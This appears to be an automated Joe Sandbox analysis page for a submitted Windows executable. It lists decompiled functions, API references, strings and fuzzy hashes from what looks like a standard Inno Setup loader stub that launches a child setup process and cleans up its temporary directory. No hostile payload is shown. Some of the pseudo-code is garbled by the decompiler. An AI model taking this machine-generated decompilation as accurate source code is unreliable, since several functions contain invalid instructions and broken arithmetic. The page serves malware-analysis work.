Uniqueness Score: -1.00%

Function 004095BC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E004095BC(void* __eax, void* __ebx, DWORD* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				DWORD* _v8;
				char _v12;
				char _v80;
				void* _v92;
				void* _v96;
				char _v124;
				void* _t24;
				MSG* _t45;
				intOrPtr _t53;
				void* _t60;

				_v12 = 0;
				_v8 = __ecx;
				_t57 = __eax;
				_t45 =  &_v124;
				_push(_t60);
				_push(0x4096ac);
				_push( *[fs:eax]);
				 *[fs:eax] = _t60 + 0xffffff88;
				_push(0x4096c4);
				_push(__eax);
				_push(0x4096d0);
				_push(__edx);
				E004033B4();
				E0040277C( &_v80, 0x44);
				_v80 = 0x44;
				_push( &_v96);
				_push( &_v80);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_t24 = E004034B8(_v12);
				_push(_t24);
				_push(0); // executed
				L00404480(); // executed
				_t63 = _t24;
				if(_t24 == 0) {
					E00409208(0x62, _t45, 0, __edx, _t57, _t63);
				}
				CloseHandle(_v92);
				L4:
				while(PeekMessageA(_t45, 0, 0, 0, 1) != 0) {
					TranslateMessage(_t45);
					DispatchMessageA(_t45);
				}
				if(MsgWaitForMultipleObjects(1,  &_v96, 0, 0xffffffff, 0xff) == 1) {
					goto L4;
				}
				GetExitCodeProcess(_v96, _v8); // executed
				CloseHandle(_v96);
				_pop(_t53);
				 *[fs:eax] = _t53;
				_push(E004096B3);
				return E00403198( &_v12);
			}

0x004095c7
0x004095ca
0x004095cf
0x004095d1
0x004095d6
0x004095d7
0x004095dc
0x004095df
0x004095e2
0x004095e7
0x004095e8
0x004095ed
0x004095f6
0x00409605
0x0040960a
0x00409614
0x00409618
0x00409619
0x0040961b
0x0040961d
0x0040961f
0x00409621
0x00409623
0x00409628
0x0040962d
0x0040962e
0x00409630
0x00409635
0x00409637
0x0040963b
0x0040963b
0x00409644
0x00000000
0x00409657
0x0040964c
0x00409652
0x00409652
0x0040967e
0x00000000
0x00000000
0x00409688
0x00409691
0x00409698
0x0040969b
0x0040969e
0x004096ab

APIs

6CBC7180.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,004096D0,01FD7CD0,004096C4,00000000,004096AC), ref: 00409630
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,004096D0,01FD7CD0,004096C4,00000000), ref: 00409644
TranslateMessage.USER32(?), ref: 0040964C
DispatchMessageA.USER32 ref: 00409652
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00409660
MsgWaitForMultipleObjects.USER32 ref: 00409678
GetExitCodeProcess.KERNEL32 ref: 00409688
CloseHandle.KERNEL32(?,?,?,00000001,?,00000000,000000FF,000000FF,?,00000000,00000000,00000000,00000001,?,?,00000000), ref: 00409691

Part of subcall function 00409208: GetLastError.KERNEL32(00000000,004092AB,?,?,01FD7CD0,?), ref: 0040922C

Strings

D, xrefs: 0040960A

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: Message$CloseHandle$C7180CodeDispatchErrorExitLastMultipleObjectsPeekProcessTranslateWait
String ID: D
API String ID: 1223923230-2746444292
Opcode ID: f8baab0b16f95bcb41a92faca313044c58b1755c98dcb2aabc14506fbbade818
Instruction ID: d858c4e90e296b6a0f27a38bb6cee8d1b41b96b06899fb1c418bc379a6a5f87c
Opcode Fuzzy Hash: f8baab0b16f95bcb41a92faca313044c58b1755c98dcb2aabc14506fbbade818
Instruction Fuzzy Hash: 862183B0A402087ADB10EBE6CC42F9F7BAC9F48714F51443BB714F62C2DA7D99058A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00409CF7 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E00409CF7(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t21;
				struct HWND__* _t23;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t34;
				intOrPtr _t35;
				void* _t38;
				void* _t43;
				intOrPtr _t45;
				intOrPtr _t48;
				int _t49;
				intOrPtr _t50;
				intOrPtr _t52;
				intOrPtr _t55;
				void* _t60;
				intOrPtr _t66;
				intOrPtr* _t68;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t77;
				void* _t80;
				void* _t81;

				_t81 = __eflags;
				_t79 = __esi;
				_t78 = __edi;
				_t58 = __ebx;
				_pop(_t68);
				_pop(_t60);
				 *[fs:eax] = _t68;
				E00406DE4(0x40bdd8);
				_push(0);
				_t21 =  *0x40b014; // 0x400000
				_push(_t21);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push("InnoSetupLdrWindow");
				_push("STATIC");
				asm("lahf");
				 *_t68 =  *_t68 + _t60; // executed
				_t23 = CreateWindowExA(??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??); // executed
				 *0x40a240 = _t23;
				_t24 =  *0x40a240; // 0x2048e
				 *0x40bdd0 = SetWindowLongA(_t24, 0xfffffffc, E00409528);
				_t27 =  *0x40a240; // 0x2048e
				 *(_t80 - 0x18) = _t27;
				 *((char*)(_t80 - 0x14)) = 0;
				E00405160("/SL4 $%x \"", 0, _t80 - 0x18, _t80 - 0x10);
				_t70 =  *0x40bdd4; // 0x1fc03cc
				E004032FC(_t80 - 0x10, _t70);
				_push(_t80 - 0x10);
				_t34 =  *0x40be08; // 0x1d29d5
				 *((intOrPtr*)(_t80 - 0x2c)) = _t34;
				 *((char*)(_t80 - 0x28)) = 0;
				_t35 =  *0x40be0c; // 0xcc00
				 *((intOrPtr*)(_t80 - 0x24)) = _t35;
				 *((char*)(_t80 - 0x20)) = 0;
				E00405160("\" %d %d ", 1, _t80 - 0x2c, _t80 - 0x1c);
				_pop(_t38);
				E004032FC(_t38,  *((intOrPtr*)(_t80 - 0x1c)));
				_push(_t80 - 0x10);
				E00406908(_t80 - 0x1c);
				_pop(_t43);
				E004032FC(_t43,  *((intOrPtr*)(_t80 - 0x1c)));
				_t45 =  *0x40be18; // 0x1fd7cd0, executed
				E004095BC(_t45, __ebx, 0x40a23c,  *((intOrPtr*)(_t80 - 0x10)), __edi, __esi, _t81); // executed
				_pop(_t75);
				 *[fs:eax] = _t75;
				_push(E00409EA3);
				_t48 =  *0x40bdd8; // 0x0
				_t49 = E00402924(_t48);
				if( *0x40be18 != 0) {
					_t77 =  *0x40be18; // 0x1fd7cd0
					_t49 = E004091A4(0, _t77, 0xfa, 0x32); // executed
				}
				if( *0x40be14 != 0) {
					_t55 =  *0x40be14; // 0x1fd7c14
					_t49 = RemoveDirectoryA(E004034B8(_t55)); // executed
				}
				if( *0x40a240 != 0) {
					_t49 =  *0x40a240; // 0x2048e
					_push(_t49); // executed
					L004045B0(); // executed
				}
				if( *0x40bdc8 != 0) {
					_t50 =  *0x40bdc8; // 0x0
					_t66 =  *0x40bdcc; // 0x1
					E00403620(_t50, _t58, _t66, 0x4088e0, _t78, _t79);
					_t52 =  *0x40bdc8; // 0x0
					E004025AC(_t52);
					 *0x40bdc8 = 0;
					return 0;
				}
				return _t49;
			}

0x00409cf7
0x00409cf7
0x00409cf7
0x00409cf7
0x00409cf9
0x00409cfb
0x00409cfc
0x00409d2c
0x00409d31
0x00409d33
0x00409d38
0x00409d39
0x00409d3b
0x00409d3d
0x00409d3f
0x00409d41
0x00409d43
0x00409d45
0x00409d47
0x00409d4c
0x00409d4d
0x00409d50
0x00409d53
0x00409d58
0x00409d64
0x00409d6f
0x00409d78
0x00409d7d
0x00409d80
0x00409d8e
0x00409d96
0x00409d9c
0x00409da4
0x00409da9
0x00409dae
0x00409db1
0x00409db5
0x00409dba
0x00409dbd
0x00409dce
0x00409dd6
0x00409dd7
0x00409ddf
0x00409de3
0x00409deb
0x00409dec
0x00409df9
0x00409dfe
0x00409e05
0x00409e08
0x00409e0b
0x00409e10
0x00409e15
0x00409e21
0x00409e2f
0x00409e37
0x00409e37
0x00409e43
0x00409e45
0x00409e50
0x00409e50
0x00409e5c
0x00409e5e
0x00409e63
0x00409e64
0x00409e64
0x00409e70
0x00409e72
0x00409e77
0x00409e82
0x00409e87
0x00409e8c
0x00409e93
0x00000000
0x00409e93
0x00409e98

APIs

CreateWindowExA.USER32 ref: 00409D53
SetWindowLongA.USER32 ref: 00409D6A

Part of subcall function 00406908: GetCommandLineA.KERNEL32(0040BDE0,?,00406A4C,00000000,00406A88,?,?,0040BDE0,?,00000000,00000000,?,00409345,00000000,004093D1), ref: 0040690C

Part of subcall function 004095BC: 6CBC7180.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,004096D0,01FD7CD0,004096C4,00000000,004096AC), ref: 00409630
Part of subcall function 004095BC: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,004096D0,01FD7CD0,004096C4,00000000), ref: 00409644
Part of subcall function 004095BC: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00409660
Part of subcall function 004095BC: MsgWaitForMultipleObjects.USER32 ref: 00409678
Part of subcall function 004095BC: GetExitCodeProcess.KERNEL32 ref: 00409688
Part of subcall function 004095BC: CloseHandle.KERNEL32(?,?,?,00000001,?,00000000,000000FF,000000FF,?,00000000,00000000,00000000,00000001,?,?,00000000), ref: 00409691

RemoveDirectoryA.KERNEL32(00000000,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409E50
740C9840.USER32(0002048E,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409E64

Part of subcall function 004091A4: Sleep.KERNEL32(?,?,?,?,0000000D,?,00409E3C,000000FA,00000032,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000), ref: 004091C3
Part of subcall function 004091A4: GetLastError.KERNEL32(?,?,?,0000000D,?,00409E3C,000000FA,00000032,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 004091E6
Part of subcall function 004091A4: GetLastError.KERNEL32(?,?,?,0000000D,?,00409E3C,000000FA,00000032,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 004091F0

Strings

" %d %d , xrefs: 00409DC9
STATIC, xrefs: 00409D4C
InnoSetupLdrWindow, xrefs: 00409D47
/SL4 $%x ", xrefs: 00409D89

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: CloseErrorHandleLastWindow$C7180C9840CodeCommandCreateDirectoryExitLineLongMessageMultipleObjectsPeekProcessRemoveSleepWait
String ID: " %d %d $/SL4 $%x "$InnoSetupLdrWindow$STATIC
API String ID: 3741706190-4098424104
Opcode ID: 4cd5e1fe10dc0eee086bfc375ea0fbbc4ea89b05899798eae4fd06476412d36a
Instruction ID: f219f7cac31ccee2f06799d6ad2095848454d82f650cf495ad7db1cb02fef157
Opcode Fuzzy Hash: 4cd5e1fe10dc0eee086bfc375ea0fbbc4ea89b05899798eae4fd06476412d36a
Instruction Fuzzy Hash: 72411B71A042059FD715EBA9ED45BAA77A8EB88304F20443BE200F73E2D77D9D448B9D

Uniqueness

Uniqueness Score: -1.00%

Function 00408D48 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E00408D48(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				char _v8;
				struct HINSTANCE__* _t4;
				struct HINSTANCE__* _t5;
				char _t6;
				intOrPtr _t20;
				intOrPtr _t25;

				_t14 = __ebx;
				_push(0);
				_push(__ebx);
				_push(_t25);
				_push(0x408de1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t25;
				_push("Wow64DisableWow64FsRedirection");
				_t4 = GetModuleHandleA("kernel32.dll");
				_push(_t4);
				L004044F8();
				 *0x40bc98 = _t4;
				_push("Wow64RevertWow64FsRedirection");
				_t5 = GetModuleHandleA("kernel32.dll");
				_push(_t5);
				L004044F8();
				 *0x40bc9c = _t5;
				if( *0x40bc98 == 0 ||  *0x40bc9c == 0) {
					_t6 = 0;
				} else {
					_t6 = 1;
				}
				 *0x40bca0 = _t6;
				E00406DF4("shell32.dll", _t14, 0x8000); // executed
				E004070D8(0x4c783afb,  &_v8);
				_pop(_t20);
				 *[fs:eax] = _t20;
				_push(E00408DE8);
				return E00403198( &_v8);
			}

0x00408d48
0x00408d4b
0x00408d4d
0x00408d52
0x00408d53
0x00408d58
0x00408d5b
0x00408d5e
0x00408d68
0x00408d6d
0x00408d6e
0x00408d73
0x00408d78
0x00408d82
0x00408d87
0x00408d88
0x00408d8d
0x00408d99
0x00408da4
0x00408da8
0x00408da8
0x00408da8
0x00408daa
0x00408db9
0x00408dc6
0x00408dcd
0x00408dd0
0x00408dd3
0x00408de0

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00408DE1,?,?,?,?,00000000,?,0040984F), ref: 00408D68
6C8D5550.KERNEL32(00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00408DE1,?,?,?,?,00000000,?,0040984F), ref: 00408D6E
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00408DE1,?,?,?,?,00000000,?,0040984F), ref: 00408D82
6C8D5550.KERNEL32(00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00408DE1,?,?,?,?,00000000,?,0040984F), ref: 00408D88

Strings

kernel32.dll, xrefs: 00408D63, 00408D7D
shell32.dll, xrefs: 00408DB4
Wow64DisableWow64FsRedirection, xrefs: 00408D5E
Wow64RevertWow64FsRedirection, xrefs: 00408D78

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: D5550HandleModule
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 920177481-2130885113
Opcode ID: 237ebf10833006d0dc0d2c52c6fb264561d27bb640f22c1f5f3b6ed9c4347ad9
Instruction ID: a29a6fcccb8c14819faacb4d8ba10ad4a88b1db07d2c391e7f95c455850d2a24
Opcode Fuzzy Hash: 237ebf10833006d0dc0d2c52c6fb264561d27bb640f22c1f5f3b6ed9c4347ad9
Instruction Fuzzy Hash: 4A01A770244340AEF7006B66DE0BB5A3658EBD5758F61453FF440B61C2CF7C6900A6BD

Uniqueness

Uniqueness Score: -1.00%

Function 00409A71 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 119
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00409A71(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t27;
				intOrPtr _t29;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr _t40;
				intOrPtr _t42;
				CHAR* _t43;
				intOrPtr _t49;
				CHAR* _t50;
				void* _t56;
				intOrPtr _t57;
				void* _t59;
				intOrPtr _t63;
				intOrPtr _t64;
				intOrPtr _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				char* _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				char* _t83;

				_t81 = __esi;
				_t80 = __edi;
				_t56 = __ebx;
				_pop(_t69);
				_pop(_t59);
				 *[fs:eax] = _t69;
				E0040944C(_t59);
				if( *0x40a07c == 0) {
					_t49 =  *0x40ba6c; // 0x0
					_t50 = E004034B8(_t49);
					_t69 = "Win32s";
					E00408A80(0x6c, _t82 - 0x10, "Win32s");
					MessageBoxA(0, E004034B8( *((intOrPtr*)(_t82 - 0x10))), _t50, 0x10);
					E00405830();
				}
				if(( *0x40bdc0 & 0x00000001) == 0 &&  *0x40a234 == 0) {
					_t42 =  *0x40bbac; // 0x0
					_t43 = E004034B8(_t42);
					_t69 =  *0x40bca8; // 0x1fc0058
					E00408A80(0x98, _t82 - 0x10, _t69);
					if(MessageBoxA(0, E004034B8( *((intOrPtr*)(_t82 - 0x10))), _t43, 0x24) != 6) {
						 *0x40a23c = 2;
						E00405830();
					}
				}
				E004026C4();
				E00408FD4(_t82 - 0x10, _t56, _t69, _t80, _t81); // executed
				E004031E8(0x40be14, _t56,  *((intOrPtr*)(_t82 - 0x10)), _t80, _t81);
				_t71 =  *0x40be14; // 0x1fd7c14
				E00408EC8(0, _t56, 0x409f48, _t71, _t80, _t81, _t82 - 0x10); // executed
				E004031E8(0x40be18, _t56,  *((intOrPtr*)(_t82 - 0x10)), _t80, _t81);
				_t73 =  *0x40bdfc; // 0x1d472a
				E0040740C(_t73);
				_push(_t82);
				_push(0x409d01);
				_push( *[fs:edx]);
				 *[fs:edx] = _t83;
				 *0x40be5c = 0;
				_t27 = E004071A4(1, 0, 1, 0); // executed
				 *0x40bddc = _t27;
				 *[fs:eax] = _t83;
				_t29 =  *0x40be00; // 0xa1200
				 *0x40be5c = E00402594(_t29,  *[fs:eax], 0x409cf0, _t82);
				_t57 =  *0x40be5c; // 0x1fd7d20
				_t76 =  *0x40be00; // 0xa1200
				E0040277C(_t57, _t76);
				_push(_t82);
				_push(0x409c4c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83;
				_t63 =  *0x40bdd8; // 0x0
				_t35 = E0040776C(_t63, 1, ",w@"); // executed
				 *0x40be60 = _t35;
				_push(_t82);
				_push(0x409c3b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83;
				_t64 =  *0x40be00; // 0xa1200
				_t37 =  *0x40be60; // 0x2078f24
				E004079FC(_t37, _t64, _t57);
				_pop(_t79);
				 *[fs:eax] = _t79;
				_push(E00409C42);
				_t40 =  *0x40be60; // 0x2078f24
				return E00402924(_t40);
			}

0x00409a71
0x00409a71
0x00409a71
0x00409a73
0x00409a75
0x00409a76
0x00409a96
0x00409aa2
0x00409aa6
0x00409aab
0x00409ab4
0x00409abb
0x00409acb
0x00409ad0
0x00409ad0
0x00409adc
0x00409ae9
0x00409aee
0x00409af7
0x00409aff
0x00409b17
0x00409b19
0x00409b23
0x00409b23
0x00409b17
0x00409b28
0x00409b30
0x00409b3d
0x00409b4b
0x00409b53
0x00409b60
0x00409b65
0x00409b70
0x00409b77
0x00409b78
0x00409b7d
0x00409b80
0x00409b85
0x00409b9d
0x00409ba2
0x00409bb2
0x00409bb5
0x00409bbf
0x00409bc4
0x00409bce
0x00409bd4
0x00409bdb
0x00409bdc
0x00409be1
0x00409be4
0x00409bec
0x00409bf9
0x00409bfe
0x00409c05
0x00409c06
0x00409c0b
0x00409c0e
0x00409c13
0x00409c19
0x00409c1e
0x00409c25
0x00409c28
0x00409c2b
0x00409c30
0x00409c3a

APIs

MessageBoxA.USER32 ref: 00409ACB
MessageBoxA.USER32 ref: 00409B0F

Strings

,w@, xrefs: 00409BE7
Win32s, xrefs: 00409AB4
<r@, xrefs: 00409B98
.tmp, xrefs: 00409B46

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: Message
String ID: ,w@$.tmp$<r@$Win32s
API String ID: 2030045667-2233101040
Opcode ID: ee98716ca81d67613fc363bd8aed8c31c5098f871ffe2c30284b4ee117b8a8d5
Instruction ID: 9b1785392df1a669e9b81b74d999d5f094ad276719e7aa1103bef36cba094786
Opcode Fuzzy Hash: ee98716ca81d67613fc363bd8aed8c31c5098f871ffe2c30284b4ee117b8a8d5
Instruction Fuzzy Hash: 1C418D706142449BD715EF65EE52AAA77A5EB48704F10843AF900B77E2CB7D6C00CBAD

Uniqueness

Uniqueness Score: -1.00%

Function 00409D0A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E00409D0A(void* __ebx, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t23;
				intOrPtr _t24;
				struct HWND__* _t26;
				struct HWND__* _t27;
				struct HWND__* _t30;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t41;
				void* _t46;
				intOrPtr _t48;
				intOrPtr _t51;
				int _t52;
				intOrPtr _t53;
				intOrPtr _t55;
				intOrPtr _t58;
				void* _t64;
				void* _t65;
				intOrPtr _t71;
				intOrPtr* _t73;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t82;
				void* _t83;
				void* _t84;
				void* _t85;
				signed int _t87;

				_t84 = __esi;
				_t83 = __edi;
				_t73 = __edx;
				_t65 = __ecx;
				_t64 = __ebx;
				_t24 = _t23;
				if(__eflags < 0) {
					 *__edx =  *__edx + __edx;
					asm("popfd");
					 *((intOrPtr*)(__ebx - 0x17aff3c0)) =  *((intOrPtr*)(__ebx - 0x17aff3c0)) + __ecx;
					_t85 = _t85 + 1;
					_t87 = _t24 + 0x00000001 & 0x000000ff;
					asm("invalid");
					E00402F24( *((intOrPtr*)(_t24 + 1 - 0xb19179f)));
					E00406DE4(0x40bdd8);
					_push(0);
					_t24 =  *0x40b014; // 0x400000
					_push(_t24);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push("InnoSetupLdrWindow");
					_push("STATIC");
				}
				asm("lahf");
				 *_t73 =  *_t73 + _t65; // executed
				_t26 = CreateWindowExA(??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??); // executed
				 *0x40a240 = _t26;
				_t27 =  *0x40a240; // 0x2048e
				 *0x40bdd0 = SetWindowLongA(_t27, 0xfffffffc, E00409528);
				_t30 =  *0x40a240; // 0x2048e
				 *(_t85 - 0x18) = _t30;
				 *((char*)(_t85 - 0x14)) = 0;
				E00405160("/SL4 $%x \"", 0, _t85 - 0x18, _t85 - 0x10);
				_t75 =  *0x40bdd4; // 0x1fc03cc
				E004032FC(_t85 - 0x10, _t75);
				_push(_t85 - 0x10);
				_t37 =  *0x40be08; // 0x1d29d5
				 *((intOrPtr*)(_t85 - 0x2c)) = _t37;
				 *((char*)(_t85 - 0x28)) = 0;
				_t38 =  *0x40be0c; // 0xcc00
				 *((intOrPtr*)(_t85 - 0x24)) = _t38;
				 *((char*)(_t85 - 0x20)) = 0;
				E00405160("\" %d %d ", 1, _t85 - 0x2c, _t85 - 0x1c);
				_pop(_t41);
				E004032FC(_t41,  *((intOrPtr*)(_t85 - 0x1c)));
				_push(_t85 - 0x10);
				E00406908(_t85 - 0x1c);
				_pop(_t46);
				E004032FC(_t46,  *((intOrPtr*)(_t85 - 0x1c)));
				_t48 =  *0x40be18; // 0x1fd7cd0, executed
				E004095BC(_t48, _t64, 0x40a23c,  *((intOrPtr*)(_t85 - 0x10)), _t83, _t84, _t87); // executed
				_pop(_t80);
				 *[fs:eax] = _t80;
				_push(E00409EA3);
				_t51 =  *0x40bdd8; // 0x0
				_t52 = E00402924(_t51);
				if( *0x40be18 != 0) {
					_t82 =  *0x40be18; // 0x1fd7cd0
					_t52 = E004091A4(0, _t82, 0xfa, 0x32); // executed
				}
				if( *0x40be14 != 0) {
					_t58 =  *0x40be14; // 0x1fd7c14
					_t52 = RemoveDirectoryA(E004034B8(_t58)); // executed
				}
				if( *0x40a240 != 0) {
					_t52 =  *0x40a240; // 0x2048e
					_push(_t52); // executed
					L004045B0(); // executed
				}
				if( *0x40bdc8 != 0) {
					_t53 =  *0x40bdc8; // 0x0
					_t71 =  *0x40bdcc; // 0x1
					E00403620(_t53, _t64, _t71, 0x4088e0, _t83, _t84);
					_t55 =  *0x40bdc8; // 0x0
					E004025AC(_t55);
					 *0x40bdc8 = 0;
					return 0;
				}
				return _t52;
			}

0x00409d0a
0x00409d0a
0x00409d0a
0x00409d0a
0x00409d0a
0x00409d0a
0x00409d0b
0x00409d0d
0x00409d0f
0x00409d11
0x00409d17
0x00409d18
0x00409d20
0x00409d22
0x00409d2c
0x00409d31
0x00409d33
0x00409d38
0x00409d39
0x00409d3b
0x00409d3d
0x00409d3f
0x00409d41
0x00409d43
0x00409d45
0x00409d47
0x00409d4c
0x00409d4c
0x00409d4d
0x00409d50
0x00409d53
0x00409d58
0x00409d64
0x00409d6f
0x00409d78
0x00409d7d
0x00409d80
0x00409d8e
0x00409d96
0x00409d9c
0x00409da4
0x00409da9
0x00409dae
0x00409db1
0x00409db5
0x00409dba
0x00409dbd
0x00409dce
0x00409dd6
0x00409dd7
0x00409ddf
0x00409de3
0x00409deb
0x00409dec
0x00409df9
0x00409dfe
0x00409e05
0x00409e08
0x00409e0b
0x00409e10
0x00409e15
0x00409e21
0x00409e2f
0x00409e37
0x00409e37
0x00409e43
0x00409e45
0x00409e50
0x00409e50
0x00409e5c
0x00409e5e
0x00409e63
0x00409e64
0x00409e64
0x00409e70
0x00409e72
0x00409e77
0x00409e82
0x00409e87
0x00409e8c
0x00409e93
0x00000000
0x00409e93
0x00409e98

APIs

CreateWindowExA.USER32 ref: 00409D53
SetWindowLongA.USER32 ref: 00409D6A
RemoveDirectoryA.KERNEL32(00000000,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409E50
740C9840.USER32(0002048E,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409E64

Strings

" %d %d , xrefs: 00409DC9
/SL4 $%x ", xrefs: 00409D89

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: Window$C9840CreateDirectoryLongRemove
String ID: " %d %d $/SL4 $%x "
API String ID: 3245926994-2863619551
Opcode ID: fac588007fba0bb9514b75f5b2563e1d7310f3a56d49c9a4e8b6fc88e862312c
Instruction ID: c60c828b4d65f793618b5bb2fef89c4a52c928935432fa832ecf54849e786056
Opcode Fuzzy Hash: fac588007fba0bb9514b75f5b2563e1d7310f3a56d49c9a4e8b6fc88e862312c
Instruction Fuzzy Hash: 93415B71A042059FCB01EBA9DD45BAEB7A4EF88304F14457BE200B73E2C77C99858B9D

Uniqueness

Uniqueness Score: -1.00%

Function 004019DC Relevance: 9.1, APIs: 6, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E004019DC() {
				void* _t2;
				void* _t3;
				void* _t14;
				intOrPtr* _t18;
				intOrPtr _t22;
				intOrPtr _t24;

				_t22 = _t24;
				if( *0x40b415 == 0) {
					return _t2;
				} else {
					_push(_t22);
					_push(E00401AB4);
					_push( *[fs:edx]);
					 *[fs:edx] = _t24;
					if( *0x40b032 != 0) {
						_push(0x40b41c);
						L00401274();
					}
					 *0x40b415 = 0;
					_t3 =  *0x40b474; // 0x0
					LocalFree(_t3);
					 *0x40b474 = 0;
					_t18 =  *0x40b43c; // 0x40b43c
					while(_t18 != 0x40b43c) {
						_t1 = _t18 + 8; // 0x0
						VirtualFree( *_t1, 0, 0x8000); // executed
						_t18 =  *_t18;
					}
